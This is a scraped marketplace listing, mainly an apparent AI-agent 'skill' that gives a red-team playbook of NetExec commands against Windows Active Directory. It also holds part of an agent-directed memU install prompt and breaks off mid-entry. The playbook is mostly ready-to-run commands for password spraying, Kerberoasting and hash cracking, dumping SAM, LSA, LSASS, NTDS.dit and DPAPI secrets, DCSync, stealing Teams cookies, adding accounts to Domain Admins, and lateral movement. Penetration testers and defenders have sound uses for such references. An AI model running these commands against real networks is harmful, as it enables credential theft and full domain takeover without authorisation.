--self\n```\n\n### Miscellaneous SMB\n```bash\n# Impersonate logged-on users\nnxc smb -u user -p pass -M schtask_as -o USER=targetuser CMD=whoami\n\n# Change user password\nnxc smb -u user -p pass --change-password newpassword\n\n# Modify group membership\nnxc smb -u admin -p pass --modify-group \"Domain Admins\" --add-user victimuser\n\n# Dump Teams cookies\nnxc smb -u user -p pass -M teams_localdb\n\n# Steal Teams cookies\nnxc smb -u user -p pass -M steal_teams_cookies\n\n# Check spooler / WebDAV running\nnxc smb -u user -p pass -M spooler\nnxc smb -u user -p pass -M webdav\n\n# Defeating LAPS — read password if privileged\nnxc smb -u privilegeduser -p pass --laps\n```\n\n---\n\n## LDAP Protocol\n\n### Authentication / Basic\n```bash\nnxc ldap -u user -p pass\nnxc ldap -u user -p pass -k # Kerberos\nnxc ldap -u user -p pass -k --kdcHost dc01.corp.local\n```\n\n### User Enumeration\n```bash\nnxc ldap -u user -p pass --users\nnxc ldap -u user -p pass --users-export output.txt\nnxc ldap -u user -p pass --active-users # Active (non-disabled) users only\nnxc ldap -u user -p pass --get-user-descriptions # Users with descriptions\nnxc ldap -u user -p pass --admin-count # Users with adminCount=1\n```\n\n### Group Enumeration\n```bash\nnxc ldap -u user -p pass --groups\nnxc ldap -u user -p pass --group-members \"Domain Admins\"\n```\n\n### Domain Info\n```bash\nnxc ldap -u user -p pass --dc-list # Domain Controllers\nnxc ldap -u user -p pass --find-domain-sid # Domain SID\nnxc ldap -u user -p pass --trusts # Domain trusts\nnxc ldap -u user -p pass --machine-account-quota # MAQ value\nnxc ldap -u user -p pass --get-scriptpath # GPO script paths\nnxc ldap -u user -p pass --extract-subnet # Subnets from AD Sites\nnxc ldap -u user -p pass --check-ldap-signing # LDAP signing config\n```\n\n### Kerberos Attacks\n```bash\n# ASREPRoast — no auth needed if you have usernames\nnxc ldap -u '' -p '' --asreproast output.txt # anonymous (if allowed)\nnxc ldap -u users.txt -p '' --asreproast output.txt\nnxc ldap -u user -p pass --asreproast output.txt # authenticated (finds all)\nnxc ldap -u user -p pass --asreproast output.txt --kdcHost dc01.corp.local\n\n# Crack with hashcat\nhashcat -m18200 output.txt wordlist.txt\n\n# Kerberoasting\nnxc ldap -u user -p pass --kerberoasting output.txt\n\n# Targeted Kerberoasting (requires WriteProperty on servicePrincipalName)\nnxc ldap -u user -p pass --kerberoasting output.txt --targeted-kerberoast victim1\nnxc ldap -u user -p pass --kerberoasting output.txt --targeted-kerberoast users.list\n\n# Kerberoasting via AS-REP roastable account\nnxc ldap -u asrep_user -p '' --no-preauth-targets kerberoastable.list --kerberoasting out.txt\n\n# Crack with hashcat\nhashcat -m13100 output.txt wordlist.txt\n\n# Pre2k Computer Account Abuse\nnxc ldap -u user -p pass -M pre2k\n# Tickets saved to ~/.nxc/modules/pre2k/ccache/\n```\n\n### Privilege Escalation & Delegation\n```bash\n# Find all misconfigured delegations (Unconstrained, Constrained, RBCD)\nnxc ldap -u user -p pass --find-delegation\n\n# Unconstrained delegation accounts\nnxc ldap -u user -p pass --unconstrained-delegation\n```\n\n### ACL / DACL Analysis\n```bash\n# Read all ACEs on a target object\nnxc ldap dc.lab.local -k --kdcHost dc.lab.local -M daclread -o TARGET=Administrator ACTION=read\n\n# Check what rights a specific principal has on a target\nnxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=BlWasp\n\n# Find who has DCSync rights\nnxc ldap dc.lab.local -k -M daclread -o TARGET_DN=\"DC=lab,DC=LOCAL\" ACTION=read RIGHTS=DCSync\n\n# Check for DENY ACEs\nnxc ldap dc.lab.local -k -M daclread -o TARGET=Administrator ACTION=read ACE_TYPE=denied\n\n# Backup DACLs for multiple targets\nnxc ldap dc.lab.local -k -M daclread -o TARGET=../../targets.txt ACTION=backup\n```\n\n### Credential & Secret Extraction\n```bash\n# Dump gMSA passwords (requires right; uses LDAPS automatically)\nnxc ldap -u user -p pass --gmsa\n\n# Extract gMSA secrets\nnxc ldap -u user -p pass -M get-gmsa-creds\n\n# Read DACL rights on gMSA\nnxc ldap -u user -p pass --gmsa-convert-id \n```\n\n### BloodHound Data Collection\n```bash\nnxc ldap -u user -p pass --bloodhound --collection All\nnxc ldap -u user -p pass --bloodhound --collection DCOnly\nnxc ldap -u user -p pass --bloodhound --collection Session,LoggedOn\n```\n\n### SCCM / Entra ID / DNS\n```bash\n# SCCM enumeration\nnxc ldap -u user -p pass -M enum-sccm\n\n# Entra ID enumeration\nnxc ldap -u user -p pass --entra-id\n\n# Unsecured DNS zones\nnxc ldap -u user -p pass --enumerate-unsecure-dns-zones\n\n# Custom LDAP query\nnxc ldap -u user -p pass --query \"(objectClass=user)\" \"sAMAccountName\"\n```\n\n### raisechild — Domain Trust Escalation\n```bash\nnxc ldap -u user -p pass -M raisechild\n```\n\n---\n\n## WinRM Protocol\n\n```bash\n# Check auth\nnxc winrm -u user -p pass\n\n# Execute command\nnxc winrm -u user -p pass -X whoami\n\n# Credential dumping (admin required)\nnxc winrm -u user -p pass --sam\nnxc winrm -u user -p pass --lsa\nnxc winrm -u user -p pass --dpapi # no admin needed — dumps current user creds\n```\n\n> **Pwn3d!** on WinRM = code execution is possible. Use `evil-winrm` for\n> interactive shell: `evil-winrm -i -u user -p pass`\n\n---\n\n## WMI Protocol\n\n```bash\n# Auth check\nnxc wmi -u user -p pass\n\n# Password spray\nnxc wmi -u ~/users.txt -p ~/passwords.txt\n\n# Execute command\nnxc wmi -u user -p pass -x whoami\n```\n\n---\n\n## MSSQL Protocol\n\n```bash\n# Auth check (domain)\nnxc mssql -u user -p pass\n\n# Auth check (local SQL account)\nnxc mssql -u sa -p 'P@ssw0rd' --local-auth\n\n# Run SQL query\nnxc mssql -u admin -p pass --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'\n\n# OS command via xp_cmdshell (requires sysadmin)\nnxc mssql -u sa -p pass -x whoami\n\n# Password spray\nnxc mssql -u ~/users.txt -p ~/passwords.txt --no-bruteforce\n\n# Privilege escalation — check for impersonation rights\nnxc mssql -u user -p pass -M mssql_priv\n\n# Escalate to sysadmin\nnxc mssql -u user -p pass -M mssql_priv -o ACTION=privesc\n\n# Rollback (after engagement)\nnxc mssql -u user -p pass -M mssql_priv -o ACTION=rollback\n\n# Enumerate users by RID brute\nnxc mssql -u user -p pass --rid-brute\n\n# Linked servers\nnxc mssql -u user -p pass --mssql-linked-servers\n\n# Upload/download files\nnxc mssql -u user -p pass --put-file /local/file.txt C:\\\\remote\\\\file.txt\nnxc mssql -u user -p pass --get-file C:\\\\remote\\\\file.txt /local/file.txt\n```\n\n---\n\n## SSH Protocol\n\n```bash\n# Auth check\nnxc ssh -u user -p pass\nnxc ssh -u root -p pass # Pwn3d! if root\n\n# Password spray\nnxc ssh 10.10.10.0/24 -u ~/users.txt -p ~/passwords.txt\n\n# Execute command\nnxc ssh -u user -p pass -x whoami\n\n# File transfer\nnxc ssh -u user -p pass --get-file /remote/file /local/file\nnxc ssh -u user -p pass --put-file /local/file /remote/path/file\n```\n\n---\n\n## RDP Protocol\n\n```bash\n# Auth check / password spray\nnxc rdp -u user -p pass\nnxc rdp 192.168.1.0/24 -u ~/users.txt -p ~/passwords.txt\n\n# Screenshot without NLA (unauthenticated)\nnxc rdp -u '' -p '' --screenshot --screentime 5\n\n# Screenshot with auth\nnxc rdp -u user -p pass --screenshot\n\n# Execute command\nnxc rdp -u user -p pass -x whoami\n```\n\n---\n\n## VNC Protocol\n\n```bash\n# Auth check\nnxc vnc -u user -p pass\n\n# Screenshot\nnxc vnc --screenshot\n```\n\n---\n\n## FTP Protocol\n\n```bash\n# Auth check / spray\nnxc ftp -u user -p pass\nnxc ftp -u ~/users.txt -p ~/passwords.txt\n\n# List files\nnxc ftp -u user -p pass --ls\n\n# Download / upload\nnxc ftp -u user -p pass --get-file /remote/file.txt /local/file.txt\nnxc ftp -u user -p pass --put-file /local/file.txt /remote/file.txt\n```\n\n---\n\n## NFS Protocol\n\n```bash\n# Enumerate exports\nnxc nfs \nnxc nfs -u user -p pass --enum-shares\n\n# Download / upload\nnxc nfs --get-file /remote/path/file.txt /local/file.txt\nnxc nfs --put-file /local/file.txt /remote/path/\n\n# chmod on remote file\nnxc nfs -u user -p pass --chmod 777 /remote/file.txt\n\n# Escape to root filesystem\nnxc nfs -u user -p pass --chroot\n```\n\n---\n\n## Modules System\n\n```bash\n# List all modules for a protocol\nnxc smb -L\nnxc ldap -L\nnxc winrm -L\n\n# View module options\nnxc smb -M lsassy --options\n\n# Run a module\nnxc smb -u user -p pass -M lsassy\n\n# Run with options\nnxc smb -u user -p pass -M spider_plus -o DOWNLOAD_FLAG=True\n\n# Run MULTIPLE modules at once (v1.1+)\nnxc smb -u user -p pass -M spooler -M iis -M lsassy -M winscp\n```\n\n---\n\n## Logging & Audit Mode\n\n```bash\n# Log all results to file\nnxc smb -u user -p pass --log results.txt\n\n# Audit mode — redact creds from console (configure in ~/.nxc/nxc.conf)\n# Set: audit_mode = * (or any character to use as redaction mask)\n```\n\n## Pentest Scenario Example (Chained Workflows)\n\n### Initial Recon (No Creds)\n```bash\n# 1. Discover live hosts and SMB info\nnxc smb 192.168.1.0/24\n\n# 2. Find hosts without SMB signing (relay targets)\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt\n\n# 3. Check null session / guest logon\nnxc smb 192.168.1.0/24 -u '' -p ''\nnxc smb 192.168.1.0/24 -u 'a' -p ''\n\n# 4. Enumerate shares with null session\nnxc smb 192.168.1.0/24 -u '' -p '' --shares\n\n# 5. ASREPRoast with username wordlist\nnxc ldap -u users.txt -p '' --asreproast asrep.txt\nhashcat -m18200 asrep.txt /usr/share/wordlists/rockyou.txt\n```\n\n### With Domain Creds (Low Privilege)\n```bash\n# 1. Collect BloodHound data\nnxc ldap -u user -p pass --bloodhound --collection All\n\n# 2. Get password policy\nnxc smb -u user -p pass --pass-pol\n\n# 3. Enumerate all users\nnxc ldap -u user -p pass --users-export users.txt\n\n# 4. Kerberoast\nnxc ldap -u user -p pass --kerberoasting kerberoast.txt\nhashcat -m13100 kerberoast.txt /usr/share/wordlists/rockyou.txt\n\n# 5. Find delegation misconfigs\nnxc ldap -u user -p pass --find-delegation\n\n# 6. Check DACL rights on Domain Admins\nnxc ldap -k -M daclread -o TARGET=\"Domain Admins\" ACTION=read\n\n# 7. Scan for vulns\nnxc smb 192.168.1.0/24 -u user -p pass -M zerologon -M nopac -M coerce_plus\n```\n\n### With Local Admin (Lateral Movement)\n```bash\n# 1. Dump SAM / LSA on target\nnxc smb -u localadmin -p pass --local-auth --sam\nnxc smb -u localadmin -p pass --local-auth --lsa\n\n# 2. Dump LSASS (get domain creds)\nnxc smb -u localadmin -p pass --local-auth -M lsassy\n\n# 3. Spray dumped hashes across subnet\nnxc smb 192.168.1.0/24 -u Administrator -H --local-auth\n\n# 4. Spider shares for sensitive files\nnxc smb 192.168.1.0/24 -u user -p pass -M spider_plus\n```\n\n### With Domain Admin\n```bash\n# 1. Dump NTDS.dit\nnxc smb -u DomainAdmin -p 'Pass' --ntds\n\n# 2. DCSync specific user\nnxc smb -u DomainAdmin -p 'Pass' -M mimikatz -o COMMAND='\"lsadump::dcsync /domain:corp.local /user:krbtgt\"'\n\n# 3. Dump all DPAPI secrets at scale\nnxc smb 192.168.1.0/24 -u DomainAdmin -p 'Pass' --dpapi nosystem\n```\n\n---\n\n## Quick Reference: Flag Cheatsheet\n\n| Flag | Purpose |\n|------|---------|\n| `-u` | Username(s) or file |\n| `-p` | Password(s) or file |\n| `-H` | NTLM hash |\n| `-k` | Kerberos auth |\n| `--use-kcache` | Use KRB5CCNAME ticket |\n| `--local-auth` | Local user (not domain) |\n| `--id` | Use cred ID from DB |\n| `-x` | Run CMD command |\n| `-X` | Run PowerShell command |\n| `--exec-method` | Force wmiexec/atexec/smbexec |\n| `-M` | Module name (repeatable) |\n| `-o` | Module options KEY=value |\n| `-L` | List available modules |\n| `--sam` | Dump SAM hashes |\n| `--lsa` | Dump LSA secrets |\n| `--ntds` | Dump NTDS.dit |\n| `--dpapi` | Dump DPAPI secrets |\n| `--shares` | Enumerate SMB shares |\n| `--users` | Enumerate users |\n| `--pass-pol` | Get domain password policy |\n| `--loggedon-users` | List logged-on users |\n| `--spider` | Spider a share |\n| `--laps` | Read LAPS password |\n| `--asreproast` | ASREPRoast to file |\n| `--kerberoasting` | Kerberoast to file |\n| `--bloodhound` | Run BloodHound collector |\n| `--find-delegation` | Find delegation misconfigs |\n| `--no-bruteforce` | Pair user[i]:pass[i] mode |\n| `--continue-on-success` | Don't stop at first valid |\n| `--jitter` | Delay between requests |\n| `--gen-relay-list` | Output relay-able hosts |\n| `--delegate` | RBCD/S4U2Self impersonation |\n| `--gmsa` | Dump gMSA passwords |\n| `--ignore-opsec-warnings` | Suppress opsec warnings |","schemaVersion":1},"repoUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/active-directory/offensive-netexec","tags":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"Claude-Red","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:52:29.874Z","lockfiles":[]},"forks":901,"owner":"SnailSploit","stars":6898,"topics":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills"],"license":"MIT","fullName":"SnailSploit/Claude-Red","homepage":null,"language":"Python","pushedAt":"2026-09-19T23:46:22Z","avatarUrl":"https://avatars.githubusercontent.com/u/95986478?v=4","crawledAt":"2026-09-25T10:52:19.624Z","openIssues":15,"manifestFile":"SKILL.md","manifestPath":"Skills/active-directory/offensive-netexec/SKILL.md","defaultBranch":"main"},"readme":"# NetExec (nxc) — Reference Skill\n\n## Global Syntax & Options\n\n```\nnxc [auth options] [action options] [global options]\n```\n\n### Available Protocols\n`smb` `ssh` `ldap` `ftp` `wmi` `winrm` `rdp` `vnc` `mssql` `nfs`\n\n### Target Formats\n```bash\nnxc smb 192.168.1.0/24 # CIDR\nnxc smb 192.168.1.1 192.168.1.2 # Multiple IPs\nnxc smb 192.168.1.1-28 # IP range\nnxc smb dc01.corp.local # Hostname\nnxc smb ~/targets.txt # File\n```\n\n### Global Flags\n| Flag | Description |\n|------|-------------|\n| `-t THREADS` | Concurrent threads (default: 100) |\n| `--timeout TIMEOUT` | Per-thread timeout in seconds |\n| `--jitter INTERVAL` | Random delay between connections (e.g. `3`, `2-5`, `4-4`) |\n| `--no-progress` | Suppress progress bar |\n| `--verbose` | Verbose output |\n| `--debug` | Debug-level output |\n\n---\n\n## Authentication\n\n### Core Auth Flags\n```bash\n-u USERNAME # Single username\n-u user1 user2 # Multiple usernames\n-u ~/users.txt # Username file\n\n-p PASSWORD # Plaintext password\n-p 'P@ss!' # Always quote special chars\n-p='-P@ss' # Use = for passwords starting with -\n\n-H 'NTHASH' # NT hash only\n-H 'LM:NT' # Full NTLM hash\n-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'\n\n-id # Use credential from nxcdb\n\n--local-auth # Authenticate as local user (not domain)\n```\n\n### Domain Auth (SMB example)\n```bash\nnxc smb 192.168.1.0/24 -u Administrator -p 'Password123'\nnxc smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH'\n```\n\n### Local Auth\n```bash\nnxc smb 192.168.1.0/24 -u localadmin -p 'Password123' --local-auth\n```\n\n### Kerberos Auth\n```bash\n# Auto-handle TGT using password\nnxc smb dc01.corp.local -u user -p pass -k\n\n# Use existing ccache ticket\nexport KRB5CCNAME=/path/to/ticket.ccache\nnxc smb dc01.corp.local --use-kcache\n\n# Specify KDC explicitly\nnxc ldap dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local\n```\n\n### Multi-Domain Environments\n```bash\n# users.txt format:\n# DOMAIN1\\user1\n# DOMAIN2\\user2\nnxc smb -u users.txt -p 'Password123'\n```\n\n### Output Color Codes\n- **RED** — Authentication failed\n- **GREEN** — Authentication succeeded\n- **MAGENTA** — Password valid but account is not admin\n- **`(Pwn3d!)`** — Admin access / code execution available\n\n### Pwn3d! Meaning by Protocol\n| Protocol | Pwn3d! Meaning |\n|----------|---------------|\n| SMB | Local/domain admin access |\n| WMI | Local admin |\n| WinRM | Code execution |\n| RDP | Code execution |\n| VNC | Code execution |\n| LDAP | Path to Domain Admin |\n| SSH | Root access |\n| FTP | No check |\n\n---\n\n## Password Spraying & Brute Force\n\n```bash\n# Spray one password across many users\nnxc smb -u ~/users.txt -p 'Summer2024!' --no-bruteforce --continue-on-success\n\n# Brute force (user × pass combinations)\nnxc smb -u ~/users.txt -p ~/passwords.txt\n\n# Hash spraying\nnxc smb -u ~/users.txt -H ~/hashes.txt --no-bruteforce\n\n# Throttle to avoid lockouts\nnxc smb -u ~/users.txt -p 'Pass123' --jitter 3\nnxc smb
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\n\n\n## Table of Contents\n\n### Official Skills by\n\n| | | | | \n|---|---|---|---|\n| [Claude](#official-claude-skills) | [VoltAgent](#skills-by-voltagent) | [SerpApi](#skills-by-serpapi) | [Crawlbase](#skills-by-crawlbase) |\n| [TestMu AI](#skills-by-testmu-ai) | [Modem Dev](#skills-by-modem-dev) | [Angular](#skills-by-angular) | [Composio](#skills-by-composio-team) |\n| [Supabase](#skills-by-supabase-team) | [Google Gemini](#skills-by-google-gemini) | [Stripe](#skills-by-stripe-team) | [Courier](#skills-by-courier) |\n| [CallStack](#skills-by-callstack) | [Expo](#skills-by-expo-team) | [Better Auth](#skills-by-better-auth-team) | [Tinybird](#skills-by-tinybird-team) |\n| [HashiCorp](#skills-by-hashicorp-team-for-terraform) | [Sanity]","createdAt":"2026-09-25T10:51:52.625Z","updatedAt":"2026-09-25T10:51:52.625Z"},{"id":"cmugucwsz00nzqu0656xi9nik","slug":"nevamind-ai-memu-install-memu","name":"install-memu","description":"Install or uninstall memU for whatever agent you are — identify your host, print its packaged guide, and follow it to wire (or unwire) both seams (record and inject). Use when the user asks to install, set up, integrate, remove, or uninstall memU.","authorId":"gh:nevamind-ai","authorName":"NevaMind-AI","version":"0.1.0","category":"Prompt","securityLevel":"Community","downloadsCount":0,"githubStars":14429,"pricePerCall":0,"manifest":{"name":"install-memu","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Install or uninstall memU for whatever agent you are — identify your host, print its packaged guide, and follow it to wire (or unwire) both seams (record and inject). Use when the user asks to install, set up, integrate, remove, or uninstall memU.","permissions":[],"systemPrompt":"# Install memU\n\n> **Audience: the agent.** A user has pointed you at this file (\"read SKILL.md\n> and follow it to install memU\"). This skill does not contain the install\n> steps — it routes you to the right guide, which ships inside the memU package\n> and is always in sync with the installed code. Do not install from memory or\n> from blog posts; print the guide and follow it to the letter.\n\nmemU integrates with a host agent through two seams: **record** (a scheduled\nbridging task mines your session log into durable memory) and **inject** (a\nstanding instruction in your instruction file makes you retrieve before\nanswering). Each supported host has its own adapter binary carrying its own\ninstall guide. Your job here is three steps: install the package, pick your\nbinary, print and follow its guide.\n\n## Step 1 — install the package\n\n```\npip install --upgrade memu-cli\n```\n\n`memu-cli` is the package memU ships to bridge your agent to its long-term\nmemory service; it installs helper interfaces only and is harmless to run on a\npersonal machine.\n\n**Keep the `--upgrade`.** A machine that already has an older `memu-cli` would\notherwise keep it, and the steps below name subcommands that older builds do not\nhave — the symptom is `invalid choice`. If you meet that error at any point, you\nare on a stale build: upgrade, then re-run the command that failed.\n\nThis puts `memu` and every host-adapter binary on `PATH`. If `pip` is not the\nright tool for this machine (managed Python, uv-only), use the equivalent —\nwhat matters is that the binaries below resolve from a bare, non-interactive\nshell. With uv this means `uv tool install --upgrade memu-cli`, **not**\n`uv pip install`: however it is installed, `memu-cli` is a cross-session\nbridging tool and must be callable everywhere, not scoped to one project venv.\n\n## Step 2 — pick your host binary\n\nIdentify **which agent you are** (not which agents are installed — the one\nexecuting this skill):\n\n| You are | Your binary |\n| --- | --- |\n| Codex | `memu-codex` |\n| Claude Code | `memu-claude-code` |\n| Cursor (Agent/CLI) | `memu-cursor` |\n| OpenClaw | `memu-openclaw` |\n| Hermes Agent | `memu-hermes` |\n| WorkBuddy | `memu-workbuddy` |\n| Cola | `memu-cola` |\n| pi | `memu-pi` |\n| anything else | `memu-agent` |\n\nUnsure, or not in the table? You are `memu-agent`. Run:\n\n```\nmemu-agent detect\n```\n\nIt probes this machine and reports, per agent, whether **memorization** works\n(a recognizable session log exists) and whether **retrieval** works (an\ninstruction file exists to patch) — and it will redirect you to a dedicated\nbinary if your host turns out to have one.\n\nThen, holding your binary, finish this step by creating memU's configuration\nfile.\n\n```\n